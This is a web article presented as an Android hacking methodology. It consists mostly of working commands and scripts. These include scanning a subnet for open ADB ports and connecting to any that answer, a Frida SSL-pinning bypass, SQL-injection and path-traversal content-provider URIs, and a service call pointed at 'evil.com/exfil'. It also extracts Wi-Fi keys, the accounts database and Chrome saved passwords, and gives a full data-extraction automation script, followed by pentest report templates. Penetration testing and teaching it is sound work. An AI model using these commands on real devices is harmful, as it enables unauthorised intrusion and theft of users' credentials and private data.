top of page

Hacking Android Devices

Hacking Android Devices | Black Hat HQ

How To Hack Android Devices


Here's the complete Android hacking methodology — from device access to app exploitation and data extraction. This is an article / guide on hacking android devices.


Initial Access & ADB


ADB over USB


bash

# Verify connection
adb devices

# If unauthorized, check device screen for "Allow USB debugging" prompt
# If no prompt appears:
adb kill-server
adb start-server
adb devices

# Multiple devices
adb -s <serial> shell

ADB over TCP (Network)


bash

# Enable TCP/IP (requires initial USB connection or root)
adb tcpip 5555
adb connect <device-ip>:5555

# Directly if already enabled
adb connect 192.168.1.105:5555

# Active exploitation — scan for open ADB ports
nmap -p 5555 192.168.1.0/24 --open
# Then connect to any that respond

Interesting Finding: Open ADB over TCP with no authentication is a critical vulnerability. Many cheap Android devices and some development units ship with this exposed.


Device Reconnaissance


bash

# Full device info dump
adb shell getprop                          # All system properties
adb shell getprop ro.build.version.sdk     # SDK version
adb shell getprop ro.build.version.release # Android version
adb shell getprop ro.product.model         # Device model
adb shell getprop ro.product.cpu.abi       # CPU architecture (arm64-v8a, x86)

# Security state
adb shell getprop ro.boot.flash.locked     # Bootloader locked? (1=locked)
adb shell getprop ro.boot.verifiedbootstate # Verified boot state (green/yellow/orange/red)
adb shell getprop ro.boot.vbmeta.device_state # AVB state
adb shell getprop ro.build.type            # user/userdebug/eng (eng=rootable)
adb shell getprop ro.debuggable            # 1 = debuggable build
adb shell getprop ro.secure                # 0 = root adb available
adb shell getprop ro.build.tags            # release-keys/test-keys/dev-keys

# SELinux
adb shell getenforce                       # Enforcing/Permissive/Disabled
adb shell dmesg | grep -i selinux          # SELinux boot messages
adb shell cat /proc/version                # Kernel version

# Installed packages
adb shell pm list packages                 # All packages
adb shell pm list packages -3              # Third-party only
adb shell pm list packages -s              # System only
adb shell pm list packages -d              # Disabled packages
adb shell pm list packages | grep "com.targetorg"  # Target apps

# Running processes
adb shell ps -A                            # All processes
adb shell dumpsys activity activities      # Current activity stack
adb shell dumpsys activity services        # Running services
adb shell dumpsys meminfo <package>        # App memory usage

App Extraction & Static Analysis


Pull APKs from Device


bash

# List all app paths
adb shell pm list packages -f

# Pull a specific APK
adb shell pm path com.targetcorp.app
# Output: package:/data/app/com.targetcorp.app-abc123==/base.apk
adb pull /data/app/com.targetcorp.app-abc123==/base.apk ./target_app.apk

# Pull all third-party APKs
for pkg in $(adb shell pm list packages -3 | cut -d: -f2); do
    path=$(adb shell pm path $pkg | head -1 | cut -d: -f2)
    if [ -n "$path" ]; then
        adb pull "$path" "./apks/${pkg}.apk" 2>/dev/null
    fi
done

APK Static Analysis


bash

# Decompile with apktool (smali code)
apktool d target_app.apk -o target_app_smali/

# Decompile to Java (jadx — best for reading)
jadx -d target_app_source/ target_app.apk

# Quick scan for secrets
grep -rEI "api[_-]?key|secret|password|token|auth|private|BEGIN RSA|-----BEGIN" target_app_source/
grep -rEI "http://|https://" target_app_source/ | grep -v "android.com\|google.com\|schemas.android"

# Find hardcoded URLs/endpoints
grep -rohE 'https?://[^"'"'"' ]+' target_app_source/ | sort -u

# Check AndroidManifest.xml
cat target_app_source/AndroidManifest.xml | grep -E 'android:exported="true"|android:debuggable|android:allowBackup'

Automated Analysis (MobSF)


bash

# Install MobSF
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
pip install -r requirements.txt
python manage.py runserver 0.0.0.0:8000

# Upload APK via web UI at http://localhost:8000
# MobSF produces:
#   - Permission analysis
#   - Exported component listing
#   - Hardcoded secrets
#   - Malware indicators
#   - CVSS scoring per finding
#   - API endpoint extraction

Dynamic Analysis & Runtime Manipulation


Frida Setup & Basic Hooking


bash

# Install Frida tools
pip install frida-tools

# Install Frida server on device
# Download matching architecture from https://github.com/frida/frida/releases
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64

# Start Frida server
adb shell su -c "/data/local/tmp/frida-server-16.x.x-android-arm64 &"

# List running processes
frida-ps -U

# Hook into a running app
frida -U com.targetcorp.app

SSL Pinning Bypass (Frida)


javascript

// ssl_pinning_bypass.js — universal SSL pinning bypass
Java.perform(function() {
    // Bypass OkHttp CertificatePinner
    try {
        var CertificatePinner = Java.use("okhttp3.CertificatePinner");
        CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, peerCertificates) {
            console.log("[+] Bypassed OkHttp pinning for: " + hostname);
            return;
        };
    } catch(e) { console.log("[-] OkHttp not found"); }

    // Bypass TrustManager
    try {
        var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
        TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, endpoint, callback) {
            console.log("[+] Bypassed TrustManager for: " + host);
            callback.checkClientTrusted(untrustedChain, "RSA");
        };
    } catch(e) { console.log("[-] TrustManager not found"); }

    // Bypass custom X509TrustManager
    try {
        var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
        var SSLContext = Java.use('javax.net.ssl.SSLContext');
        var TrustManager = Java.registerClass({
            name: 'com.pentest.PwnedTrustManager',
            implements: [X509TrustManager],
            methods: {
                checkClientTrusted: function(chain, authType) {},
                checkServerTrusted: function(chain, authType) {},
                getAcceptedIssuers: function() { return []; }
            }
        });
    } catch(e) {}
});

bash

# Run the bypass
frida -U -l ssl_pinning_bypass.js -f com.targetcorp.app

Objection (Frida Wrapper — Easier)


bash

pip install objection

# Launch app with objection
objection -g com.targetcorp.app explore

# Inside objection console:
android sslpinning disable              # Disable SSL pinning
android root disable                     # Bypass root detection
android hooking list classes             # List all classes
android hooking search classes "crypto"  # Search for crypto classes
android hooking list class_methods com.targetcorp.crypto.CipherManager
android hooking watch class_method com.targetcorp.crypto.CipherManager.encrypt --dump-args --dump-return

# Dump memory
memory dump all /tmp/app_dump

# Execute code in app context
android intent launch_activity com.targetcorp.SecretActivity
android shell_exec "ls /data/data/com.targetcorp.app/"

Clipboard Monitoring


bash

# Frida script to monitor clipboard
frida -U -l clipboard_monitor.js com.targetcorp.app

javascript

// clipboard_monitor.js
Java.perform(function() {
    var ClipboardManager = Java.use("android.content.ClipboardManager");
    ClipboardManager.setPrimaryClip.implementation = function(clip) {
        console.log("[+] Clipboard set: " + clip.getItemAt(0).getText());
        return this.setPrimaryClip(clip);
    };
});

App Component Exploitation


Exported Activities


bash

# List all exported activities
adb shell dumpsys package com.targetcorp.app | grep -A1 "Activity" | grep "exported"

# Launch exported activities directly
adb shell am start -n com.targetcorp.app/.SecretActivity
adb shell am start -n com.targetcorp.app/.AdminSettings
adb shell am start -n com.targetcorp.app/.DebugActivity
adb shell am start -n com.targetcorp.app/.WebViewActivity --es url "file:///data/data/com.targetcorp.app/"

# With extras (parameters)
adb shell am start -n com.targetcorp.app/.ViewDocument --es file "/etc/hosts"
adb shell am start -n com.targetcorp.app/.UserProfile --ei user_id 1

Exported Content Providers


bash

# List exported content providers
adb shell dumpsys package com.targetcorp.app | grep -A1 "Provider" | grep "exported"

# Query content providers
adb shell content query --uri content://com.targetcorp.app.provider/users
adb shell content query --uri content://com.targetcorp.app.provider/messages
adb shell content query --uri content://com.targetcorp.app.provider/documents

# With SQL injection in the URI
adb shell content query --uri "content://com.targetcorp.app.provider/users?--"
adb shell content query --uri "content://com.targetcorp.app.provider/'"'"'"

# File-based content providers
adb shell content read --uri content://com.targetcorp.app.fileprovider/root/../shared_prefs/config.xml
adb shell content read --uri content://com.targetcorp.app.fileprovider/root/../../../etc/hosts

Exported Broadcast Receivers


bash

# List exported receivers
adb shell dumpsys package com.targetcorp.app | grep -A1 "Receiver" | grep "exported"

# Send broadcast intents
adb shell am broadcast -n com.targetcorp.app/.ResetPasswordReceiver
adb shell am broadcast -n com.targetcorp.app/.BackupReceiver --es action "backup" --es path "/data/data/com.targetcorp.app/"
adb shell am broadcast -a com.targetcorp.DEBUG_MODE --ez enabled true

Exported Services


bash

# List exported services
adb shell dumpsys package com.targetcorp.app | grep -A1 "Service" | grep "exported"

# Start service
adb shell am startservice -n com.targetcorp.app/.BackupService --es action "dump"
adb shell am startservice -n com.targetcorp.app/.SyncService --es target_url "http://evil.com/exfil"

Drozer (Automated App Exploitation)


bash

# Install Drozer
sudo apt install drozer -y

# Install agent on device
adb install drozer-agent.apk

# Start agent on device (open the app, enable embedded server)
# Forward port
adb forward tcp:31415 tcp:31415

# Connect
drozer console connect

# Inside Drozer:
run app.package.list -f "target"               # Find target apps
run app.package.info -a com.targetcorp.app     # App info + manifest
run app.package.attacksurface com.targetcorp.app # Attack surface analysis

# Activity exploitation
run app.activity.info -a com.targetcorp.app    # List activities
run app.activity.start --component com.targetcorp.app com.targetcorp.app.AdminActivity

# Content provider exploitation
run app.provider.info -a com.targetcorp.app
run app.provider.query content://com.targetcorp.app.provider/users
run app.provider.query content://com.targetcorp.app.provider/users --projection "* FROM SQLITE_MASTER--"
run scanner.provider.injection -a com.targetcorp.app   # Auto SQLi scan
run scanner.provider.traversal -a com.targetcorp.app   # Auto path traversal scan

# Service exploitation
run app.service.info -a com.targetcorp.app
run app.service.start --component com.targetcorp.app com.targetcorp.app.SyncService

# Broadcast
run app.broadcast.info -a com.targetcorp.app
run app.broadcast.send --component com.targetcorp.app com.targetcorp.app.DebugReceiver

Data Storage Exploitation


bash

# App internal storage
adb shell ls -la /data/data/com.targetcorp.app/
adb pull /data/data/com.targetcorp.app/ ./app_data/

# Shared preferences (often contain tokens)
adb shell cat /data/data/com.targetcorp.app/shared_prefs/*.xml
adb pull /data/data/com.targetcorp.app/shared_prefs/ ./shared_prefs/

# Databases
adb shell find /data/data/com.targetcorp.app/ -name "*.db" -o -name "*.sqlite"
for db in $(adb shell find /data/data/com.targetcorp.app/ -name "*.db"); do
    adb pull "$db" ./databases/
done
sqlite3 ./databases/main.db .dump
sqlite3 ./databases/main.db .tables
sqlite3 ./databases/main.db "SELECT * FROM accounts;"

# External storage (SD card — world-readable by default on older Android)
adb shell ls -la /sdcard/Android/data/com.targetcorp.app/
adb shell cat /sdcard/Download/credentials.txt

# Cache directories
adb shell find /data/data/com.targetcorp.app/cache/ -type f
adb shell cat /data/data/com.targetcorp.app/cache/http_cache/*
adb shell cat /data/data/com.targetcorp.app/cache/okhttp/*

# WebView data (cookies, local storage, IndexedDB)
adb shell ls -la /data/data/com.targetcorp.app/app_webview/
adb shell cat /data/data/com.targetcorp.app/app_webview/Cookies
adb shell cat /data/data/com.targetcorp.app/app_webview/Local\ Storage/

# Keyboard cache (autocomplete suggestions leak data)
adb shell pull /data/data/com.targetcorp.app/app_webview/Local\ Storage/ ./webview_localstorage/

Network Interception


bash

# Set up proxy (Burp Suite / mitmproxy at 192.168.1.100:8080)
# Method 1: Global proxy
adb shell settings put global http_proxy 192.168.1.100:8080

# Method 2: Wi-Fi proxy (Settings → Wi-Fi → Modify Network → Manual Proxy)
# adb can't set this directly on newer Android

# Method 3: VPN-based interception (most reliable)
# Use ProxyDroid (root) or Drony (no root) on device
# Route all app traffic through your intercepting proxy

# Remove proxy when done
adb shell settings put global http_proxy :0

# tcpdump on device (requires root)
adb shell su -c "tcpdump -i wlan0 -w /sdcard/capture.pcap" &
# Interact with app
adb shell su -c "killall tcpdump"
adb pull /sdcard/capture.pcap ./

# Wireshark analysis
wireshark capture.pcap
tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri

Keychain & Credential Extraction


bash

# Android Keystore
adb shell su -c "ls -la /data/misc/keystore/user_0/"
adb pull /data/misc/keystore/user_0/ ./keystore/

# Accounts database
adb shell su -c "cat /data/system/users/0/accounts.db"
adb pull /data/system/users/0/accounts.db ./
sqlite3 accounts.db "SELECT name, type, password FROM accounts;"

# Google accounts token cache
adb shell su -c "cat /data/system/users/0/accounts.db"

# Wi-Fi passwords
adb shell su -c "cat /data/misc/wifi/WifiConfigStore.xml" | grep -E 'SSID|PreSharedKey'

# Chrome saved passwords
adb shell su -c "cat /data/data/com.android.chrome/app_chrome/Default/Login\ Data"
adb pull "/data/data/com.android.chrome/app_chrome/Default/Login Data" ./chrome_passwords.db
sqlite3 chrome_passwords.db "SELECT origin_url, username_value, password_value FROM logins;"

# WebView cookies
adb shell su -c "cat /data/data/com.targetcorp.app/app_webview/Cookies"

WebView Exploitation


bash

# Check if app uses WebView with JavaScript enabled + file access
# In AndroidManifest.xml:
# android:usesCleartextTraffic="true"
# WebView with setJavaScriptEnabled(true) + setAllowFileAccess(true)

# Test WebView for:
# 1. JavaScript interface injection
# 2. File:// protocol access
# 3. setAllowUniversalAccessFromFileURLs

# Frida script to detect vulnerable WebViews
frida -U -l webview_check.js com.targetcorp.app

javascript

// webview_check.js
Java.perform(function() {
    var WebView = Java.use("android.webkit.WebView");
    
    WebView.loadUrl.overload('java.lang.String').implementation = function(url) {
        console.log("[+] WebView loading: " + url);
        if (url.startsWith("file://")) {
            console.log("[!] FILE ACCESS: " + url);
        }
        if (url.startsWith("http://")) {
            console.log("[!] CLEARTEXT: " + url);
        }
        return this.loadUrl(url);
    };
    
    // Check JavaScript enabled
    var WebSettings = Java.use("android.webkit.WebSettings");
    WebSettings.setJavaScriptEnabled.implementation = function(flag) {
        console.log("[+] setJavaScriptEnabled(" + flag + ")");
        return this.setJavaScriptEnabled(flag);
    };
});

Full Automation Script


bash

#!/bin/bash
# android_full_pentest.sh — comprehensive app pentest

APP="$1"
OUTDIR="pentest_${APP}_$(date +%Y%m%d_%H%M%S)"

if [ -z "$APP" ]; then
    echo "Usage: $0 <package.name>"
    exit 1
fi

mkdir -p "$OUTDIR"/{apk,static,data,frida,network,logs}

echo "=== Android Pentest: $APP ==="
echo "Output: $OUTDIR"
echo ""

# 1. Device info
echo "[1/10] Device reconnaissance..."
adb shell getprop > "$OUTDIR/device_props.txt"
adb shell getenforce > "$OUTDIR/selinux_status.txt"

# 2. Pull APK
echo "[2/10] Extracting APK..."
APK_PATH=$(adb shell pm path "$APP" | head -1 | cut -d: -f2)
adb pull "$APK_PATH" "$OUTDIR/apk/app.apk" 2>/dev/null

# 3. Static analysis
echo "[3/10] Static analysis..."
jadx -d "$OUTDIR/static/jadx" "$OUTDIR/apk/app.apk" 2>/dev/null
apktool d "$OUTDIR/apk/app.apk" -o "$OUTDIR/static/apktool" 2>/dev/null

# Secret scan
echo "[4/10] Scanning for secrets..."
grep -rEI 'api[_-]?key|secret|password|token|BEGIN RSA|-----BEGIN|client_secret|aws_access|private.*key' \
    "$OUTDIR/static/jadx" > "$OUTDIR/secrets_raw.txt" 2>/dev/null

# Exported components
echo "[5/10] Checking exported components..."
grep -r 'android:exported="true"' "$OUTDIR/static/apktool/AndroidManifest.xml" \
    > "$OUTDIR/exported_components.txt"

# 4. Pull app data
echo "[6/10] Extracting app data (root required)..."
adb shell su -c "cp -r /data/data/$APP /sdcard/pentest_data/$APP" 2>/dev/null
adb pull /sdcard/pentest_data/$APP "$OUTDIR/data/" 2>/dev/null

# 5. Database extraction
echo "[7/10] Extracting databases..."
find "$OUTDIR/data" -name "*.db" -o -name "*.sqlite" | while read db; do
    DBNAME=$(basename "$db")
    sqlite3 "$db" .dump > "$OUTDIR/data/${DBNAME}_dump.sql" 2>/dev/null
done

# 6. Shared preferences
echo "[8/10] Dumping shared preferences..."
find "$OUTDIR/data" -path "*/shared_prefs/*.xml" | while read pref; do
    cat "$pref" >> "$OUTDIR/data/all_shared_prefs.txt"
done

# 7. Drozer scan (if connected)
echo "[9/10] Running Drozer scans..."
if drozer console connect -c "run app.package.info -a $APP" > /dev/null 2>&1; then
    drozer console connect -c "run app.package.attacksurface $APP" > "$OUTDIR/drozer_attack_surface.txt" 2>/dev/null
    drozer console connect -c "run scanner.provider.injection -a $APP" > "$OUTDIR/drozer_sqli.txt" 2>/dev/null
    drozer console connect -c "run scanner.provider.traversal -a $APP" > "$OUTDIR/drozer_traversal.txt" 2>/dev/null
else
    echo "Drozer not connected — skipping"
fi

# 8. Summary
echo "[10/10] Generating summary..."
cat > "$OUTDIR/summary.txt" << EOF
=== Android Pentest Summary ===
App: $APP
Date: $(date)
Device: $(adb shell getprop ro.product.model)
Android: $(adb shell getprop ro.build.version.release)
SELinux: $(adb shell getenforce)

Files Extracted:
  APK: $(ls -lh "$OUTDIR/apk/app.apk" 2>/dev/null | awk '{print $5}')
  Data: $(find "$OUTDIR/data" -type f | wc -l) files
  Databases: $(find "$OUTDIR/data" -name "*.db" | wc -l)
  Shared Prefs: $(find "$OUTDIR/data" -path "*/shared_prefs/*.xml" | wc -l)

Secrets Found: $(wc -l < "$OUTDIR/secrets_raw.txt") potential
Exported Components: $(grep -c "exported" "$OUTDIR/exported_components.txt" 2>/dev/null)

Quick Wins to Check:
  - Hardcoded API keys/tokens → $OUTDIR/secrets_raw.txt
  - Exported activities with no auth → $OUTDIR/exported_components.txt
  - Database contents → $OUTDIR/data/*_dump.sql
  - Shared prefs for tokens → $OUTDIR/data/all_shared_prefs.txt
EOF

cat "$OUTDIR/summary.txt"
echo ""
echo "Full results: $OUTDIR/"

Finding Templates For Your Report


markdown

### Finding A-001: Insecure Data Storage

Severity: High (CVSS 7.5)
Location: /data/data/com.targetcorp.app/shared_prefs/auth.xml
Evidence: OAuth refresh token stored in plaintext in SharedPreferences
Remediation: Use EncryptedSharedPreferences or Android Keystore

### Finding A-002: Exported Activity Without Authentication

Severity: High (CVSS 8.1)
Component: com.targetcorp.app.AdminSettingsActivity
Exploit: `adb shell am start -n com.targetcorp.app/.AdminSettingsActivity`
Impact: Administrative settings accessible without authentication
Remediation: Set android:exported="false" or add permission check

### Finding A-003: Content Provider SQL Injection

Severity: Critical (CVSS 9.0)
Provider: content://com.targetcorp.app.provider/users
Exploit: content query --uri "content://...provider/users' OR '1'='1"
Impact: Full database exfiltration of user table
Remediation: Use parameterized queries; strip special chars from URI

### Finding A-004: SSL Pinning Not Implemented

Severity: Medium (CVSS 5.9)
Impact: All API traffic intercepted via Burp Suite / mitmproxy
Remediation: Implement certificate pinning with OkHttp CertificatePinner

Enroll In Online Cybersecurity & Hacking Classes/Courses | Black Hat HQ

Comments


bottom of page